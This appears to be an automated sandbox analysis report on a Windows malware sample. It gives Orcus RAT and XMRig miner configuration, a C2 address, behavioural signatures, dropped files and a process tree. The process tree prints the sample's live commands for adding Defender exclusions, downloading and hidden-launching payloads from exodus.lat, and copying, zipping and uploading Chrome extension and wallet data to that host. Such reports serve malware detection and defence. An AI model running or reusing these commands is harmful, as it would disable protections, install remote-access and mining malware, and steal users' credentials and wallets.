Analysis

  • max time kernel
    98s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/12/2024, 16:59

General

  • Target
    5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe
  • Size 4.0MB
  • Sample241208-vhhlvazkds
  • SHA256 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://exodus.lat/COMSurrogate.exe

Extracted

Family
  • orcus

C2
  • 45.74.38.211:4782

Mutex
  • 5473b263a5de48aaabfe373bccf83dd2

Attributes
  • autostart_method

    Disable

  • enable_keylogger

    false

  • install_path

    %programfiles%\Orcus\Orcus.exe

  • reconnect_delay

    10000

  • registry_keyname

    Orcus

  • taskscheduler_taskname

    Orcus

  • watchdog_path

    AppData\OrcusWatchdog.exe

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
  • Orcus

    Orcus is a Remote Access Trojan that is being sold on underground forums.

  • Orcus family
  • TA505

    Cybercrime group active since 2015, responsible for families like Dridex and Locky.

  • Ta505 family
  • UAC bypass 3 TTPs 3 IoCs
  • XMRig Miner payload 2 IoCs
  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Orcurs Rat Executable 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Windows security modification 2 TTPs 2 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Hijack Execution Flow: Executable Installer File Permissions Weakness 1 TTPs 1 IoCs

    Possible Turn off User Account Control's privilege elevation for standard users.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 17 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 54 IoCs
  • System policy modification 1 TTPs 7 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe
    "C:\Users\Admin\AppData\Local\Temp\5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe"
    1⤵
    • Modifies Windows Defender Real-time Protection settings
    • UAC bypass
    • Checks computer location settings
    • Windows security modification
    • Checks whether UAC is enabled
    • Hijack Execution Flow: Executable Installer File Permissions Weakness
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:2844
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell" Get-MpPreference -verbose
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2980
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\download.bat" "
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3056
      • C:\Windows\SysWOW64\net.exe
        net session
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:736
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 session
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1812
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\asm'"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4628
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "& { (New-Object Net.WebClient).DownloadFile('https://exodus.lat/COMSurrogate.exe', 'C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe') }"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5076
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe' -WindowStyle Hidden"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3360
        • C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe
          "C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe"
          4⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3196
          • C:\Users\Admin\AppData\Local\asm\mi.exe
            "C:\Users\Admin\AppData\Local\asm\mi.exe" --config="C:\Users\Admin\AppData\Local\asm\config.json"
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            PID:3172
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\runsteal.bat" "
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1724
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Invoke-WebRequest -Uri 'https://exodus.lat/ss.bat' -OutFile 'C:\Users\Admin\AppData\Local\Temp\downloaded_script.bat' -UseBasicParsing"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3448
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\downloaded_script.bat"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3000
        • C:\Windows\SysWOW64\xcopy.exe
          xcopy /E /I "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\*" "C:\Users\Admin\AppData\Local\Temp\ArchiveContents\Chrome\"
          4⤵
          • System Location Discovery: System Language Discovery
          • Enumerates system info in registry
          PID:4412
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c curl -s https://api.ipify.org
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:408
          • C:\Windows\SysWOW64\curl.exe
            curl -s https://api.ipify.org
            5⤵
            • System Location Discovery: System Language Discovery
            PID:5100
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\ArchiveContents\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\N_Admin_181.215.176.83.zip'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2196
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c curl -F "file=@C:\Users\Admin\AppData\Local\Temp\N_Admin_181.215.176.83.zip" "https://exodus.lat/files/upload.php"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2848
          • C:\Windows\SysWOW64\curl.exe
            curl -F "file=@C:\Users\Admin\AppData\Local\Temp\N_Admin_181.215.176.83.zip" "https://exodus.lat/files/upload.php"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:4424
    • C:\Users\Admin\AppData\Local\Temp\smartscreen.exe
      "C:\Users\Admin\AppData\Local\Temp\smartscreen.exe"
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      PID:1472

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 18KB
        • SHA256 751657b98db0de40e7deb48406de29cff429e51af33cac2103d12c9c28f9061b
        • MD5 SHA1 SHA512 SSDEEP

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 18KB
        • SHA256 a11fa5e81fafd4440a5ef8f6a05cd160674899bc3ecbcdf3798344ff1a086bdf
        • MD5 SHA1 SHA512 SSDEEP

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 10KB
        • SHA256 ba5d4fc7db6db73da9080c92cd11d9616f316fcf92ea15957d1c8134877700e9
        • MD5 SHA1 SHA512 SSDEEP

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 16KB
        • SHA256 82d57d80064175e85b149dd878ce0bae46ca3057176698469251a24f542c1e68
        • MD5 SHA1 SHA512 SSDEEP

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 15KB
        • SHA256 1936fe36e6969d4deb82cf4f31aec44a9b50cbc1de2e6be681d9fe1425469121
        • MD5 SHA1 SHA512 SSDEEP

        000003.log

        • Path C:\Users\Admin\AppData\Local\Temp\ArchiveContents\Chrome\ghbmnnjooekpmoecnnnilnnbdlolhkhi\000003.log
        • Size 68B
        • SHA256 d96b3d82465808c49ce3c948745074d143504d00f44a9ff3b26a42f0c88e1f61
        • MD5 SHA1 SHA512

        CURRENT

        • Path C:\Users\Admin\AppData\Local\Temp\ArchiveContents\Chrome\ghbmnnjooekpmoecnnnilnnbdlolhkhi\CURRENT
        • Size 16B
        • SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
        • MD5 SHA1 SHA512

        LOG

        • Path C:\Users\Admin\AppData\Local\Temp\ArchiveContents\Chrome\ghbmnnjooekpmoecnnnilnnbdlolhkhi\LOG
        • Size 401B
        • SHA256 240c74f7f3bbe07352596db3c9826c7d32c6c2bcabcd342ceb0352df6c631f02
        • MD5 SHA1 SHA512

        LOG.old

        • Path C:\Users\Admin\AppData\Local\Temp\ArchiveContents\Chrome\ghbmnnjooekpmoecnnnilnnbdlolhkhi\LOG.old
        • Size 361B
        • SHA256 79928e3a7bd43b83916fb436f044f00e0018eae1de1bd2574b63175af47d643e
        • MD5 SHA1 SHA512

        MANIFEST-000001

        • Path C:\Users\Admin\AppData\Local\Temp\ArchiveContents\Chrome\ghbmnnjooekpmoecnnnilnnbdlolhkhi\MANIFEST-000001
        • Size 41B
        • SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
        • MD5 SHA1 SHA512

        N_Admin_181.215.176.83.zip

        • Path C:\Users\Admin\AppData\Local\Temp\N_Admin_181.215.176.83.zip
        • Size 1KB
        • SHA256 fb4f78a3f93924e6b51b6abb46fc60c402db205231ce34e66f8052d15da03792
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_34a1bbls.ynl.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_34a1bbls.ynl.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        download.bat

        • Path C:\Users\Admin\AppData\Local\Temp\download.bat
        • Size 819B
        • SHA256 019157c15709f7d6301cb0fb15f45c054230ea91f06ff817b426d7f6ccb14686
        • MD5 SHA1 SHA512

        downloaded_script.bat

        • Path C:\Users\Admin\AppData\Local\Temp\downloaded_script.bat
        • Size 6KB
        • SHA256 f3d0087ff367459be58237633e454401ddafd90a9ecaa8986ab5ab058091df09
        • MD5 SHA1 SHA512 SSDEEP

        runsteal.bat

        • Path C:\Users\Admin\AppData\Local\Temp\runsteal.bat
        • Size 399B
        • SHA256 cedfe277f8c600679365ce2c54a9c303907a0acadc23ed6e6968746d2e8ca468
        • MD5 SHA1 SHA512

        smartscreen.exe

        • Path C:\Users\Admin\AppData\Local\Temp\smartscreen.exe
        • Size 164KB
        • SHA256 924ee12f6a98aeeb1c7836ec8984f0f93216bfff0433bcd4ee643d33d96db74a
        • MD5 SHA1 SHA512 SSDEEP

        COMSurrogate.exe

        • Path C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe
        • Size 164KB
        • SHA256 eb6c487307c52793e0bc4d6a74770bbea2322f32edc466b25abacec3dd0e9c08
        • MD5 SHA1 SHA512 SSDEEP

        config.json

        • Path C:\Users\Admin\AppData\Local\asm\config.json
        • Size 2KB
        • SHA256 ba88bbb257474d6d7e8e9bec7a12ff826c3fa80cb019fbc92ea8d6253c2400b1
        • MD5 SHA1 SHA512

        mi.exe

        • Path C:\Users\Admin\AppData\Local\asm\mi.exe
        • Size 6.1MB
        • SHA256 d2fcf28897ddc2137141d838b734664ff7592e03fcd467a433a51cb4976b4fb1
        • MD5 SHA1 SHA512 SSDEEP

        xmrig-cuda.dll

        • Path C:\Users\Admin\AppData\Local\asm\xmrig-cuda.dll
        • Size 31.4MB
        • SHA256 9d3aa03f8a003a0142ca6bca93d8b86bc6785b5076d1d2a6528602c110d5e4eb
        • MD5 SHA1 SHA512 SSDEEP

        memory/1472-125-0x000001FA913E0000-0x000001FA9140E000-memory.dmp

        memory/2196-218-0x0000000007ED0000-0x0000000007EDA000-memory.dmp

        memory/2196-207-0x0000000070610000-0x000000007065C000-memory.dmp

        memory/2196-217-0x0000000007F70000-0x0000000007F82000-memory.dmp

        memory/2844-55-0x0000000009B20000-0x0000000009B3A000-memory.dmp

        memory/2844-84-0x0000000009B10000-0x000000000A128000-memory.dmp

        memory/2844-35-0x0000000008520000-0x000000000856C000-memory.dmp

        memory/2844-38-0x0000000074CA0000-0x0000000075450000-memory.dmp

        memory/2844-48-0x0000000009680000-0x000000000969E000-memory.dmp

        memory/2844-49-0x00000000096A0000-0x0000000009743000-memory.dmp

        memory/2844-50-0x00000000097D0000-0x00000000097DA000-memory.dmp

        memory/2844-51-0x0000000074CA0000-0x0000000075450000-memory.dmp

        memory/2844-52-0x0000000009A80000-0x0000000009A91000-memory.dmp

        memory/2844-53-0x0000000009AD0000-0x0000000009ADE000-memory.dmp

        memory/2844-54-0x0000000009AE0000-0x0000000009AF4000-memory.dmp

        memory/2844-33-0x0000000007420000-0x0000000007486000-memory.dmp

        memory/2844-56-0x0000000009B40000-0x0000000009B48000-memory.dmp

        memory/2844-32-0x0000000007BC0000-0x0000000007F14000-memory.dmp

        memory/2844-31-0x0000000007100000-0x000000000714A000-memory.dmp

        memory/2844-30-0x0000000007020000-0x000000000703E000-memory.dmp

        memory/2844-29-0x0000000007090000-0x00000000070F6000-memory.dmp

        memory/2844-28-0x0000000006F20000-0x0000000006F42000-memory.dmp

        memory/2844-0-0x0000000074CAE000-0x0000000074CAF000-memory.dmp

        memory/2844-27-0x0000000006F80000-0x0000000007016000-memory.dmp

        memory/2844-82-0x0000000074CAE000-0x0000000074CAF000-memory.dmp

        memory/2844-26-0x0000000007540000-0x0000000007BBA000-memory.dmp

        memory/2844-85-0x00000000086D0000-0x00000000086E2000-memory.dmp

        memory/2844-34-0x00000000074C0000-0x00000000074E2000-memory.dmp

        memory/2844-86-0x0000000008730000-0x000000000876C000-memory.dmp

        memory/2844-24-0x0000000006CA0000-0x0000000006CBA000-memory.dmp

        memory/2844-25-0x0000000006D00000-0x0000000006D36000-memory.dmp

        memory/2844-89-0x00000000088A0000-0x00000000089AA000-memory.dmp

        memory/2844-90-0x0000000008B80000-0x0000000008D42000-memory.dmp

        memory/2844-91-0x0000000074CA0000-0x0000000075450000-memory.dmp

        memory/2844-14-0x0000000006510000-0x0000000006B38000-memory.dmp

        memory/2844-97-0x0000000008B30000-0x0000000008B3A000-memory.dmp

        memory/2844-13-0x0000000005ED0000-0x0000000005EE0000-memory.dmp

        memory/2844-12-0x00000000057A0000-0x00000000057B8000-memory.dmp

        memory/2844-11-0x0000000005780000-0x0000000005788000-memory.dmp

        memory/2844-10-0x0000000005770000-0x000000000577A000-memory.dmp

        memory/2844-9-0x0000000005760000-0x0000000005768000-memory.dmp

        memory/2844-8-0x00000000052A0000-0x00000000052A8000-memory.dmp

        memory/2844-7-0x0000000005150000-0x0000000005162000-memory.dmp

        memory/2844-6-0x00000000052C0000-0x0000000005352000-memory.dmp

        memory/2844-5-0x00000000057D0000-0x0000000005D74000-memory.dmp

        memory/2844-148-0x0000000074CA0000-0x0000000075450000-memory.dmp

        memory/2844-4-0x0000000004F20000-0x0000000004F7C000-memory.dmp

        memory/2844-3-0x0000000074CA0000-0x0000000075450000-memory.dmp

        memory/2844-161-0x0000000074CA0000-0x0000000075450000-memory.dmp

        memory/2844-2-0x00000000028D0000-0x00000000028DE000-memory.dmp

        memory/2844-1-0x0000000000120000-0x0000000000526000-memory.dmp

        memory/2980-81-0x0000000006E70000-0x0000000006F13000-memory.dmp

        memory/2980-69-0x0000000070610000-0x000000007065C000-memory.dmp

        memory/2980-57-0x0000000074CA0000-0x0000000075450000-memory.dmp

        memory/2980-58-0x0000000074CA0000-0x0000000075450000-memory.dmp

        memory/2980-68-0x0000000006C30000-0x0000000006C62000-memory.dmp

        memory/2980-79-0x0000000074CA0000-0x0000000075450000-memory.dmp

        memory/2980-95-0x0000000074CA0000-0x0000000075450000-memory.dmp

        memory/2980-88-0x00000000071E0000-0x00000000071F4000-memory.dmp

        memory/2980-87-0x00000000071A0000-0x00000000071B1000-memory.dmp

        memory/2980-83-0x0000000074CA0000-0x0000000075450000-memory.dmp

        memory/2980-80-0x0000000074CA0000-0x0000000075450000-memory.dmp

        memory/3172-238-0x000001A5512A0000-0x000001A5512C0000-memory.dmp

        memory/3196-195-0x000001DA78A00000-0x000001DA78A2E000-memory.dmp

        memory/4628-136-0x0000000070610000-0x000000007065C000-memory.dmp

        memory/4628-146-0x00000000070F0000-0x0000000007193000-memory.dmp

        memory/4628-149-0x00000000073C0000-0x00000000073D4000-memory.dmp

        memory/4628-147-0x0000000007380000-0x0000000007391000-memory.dmp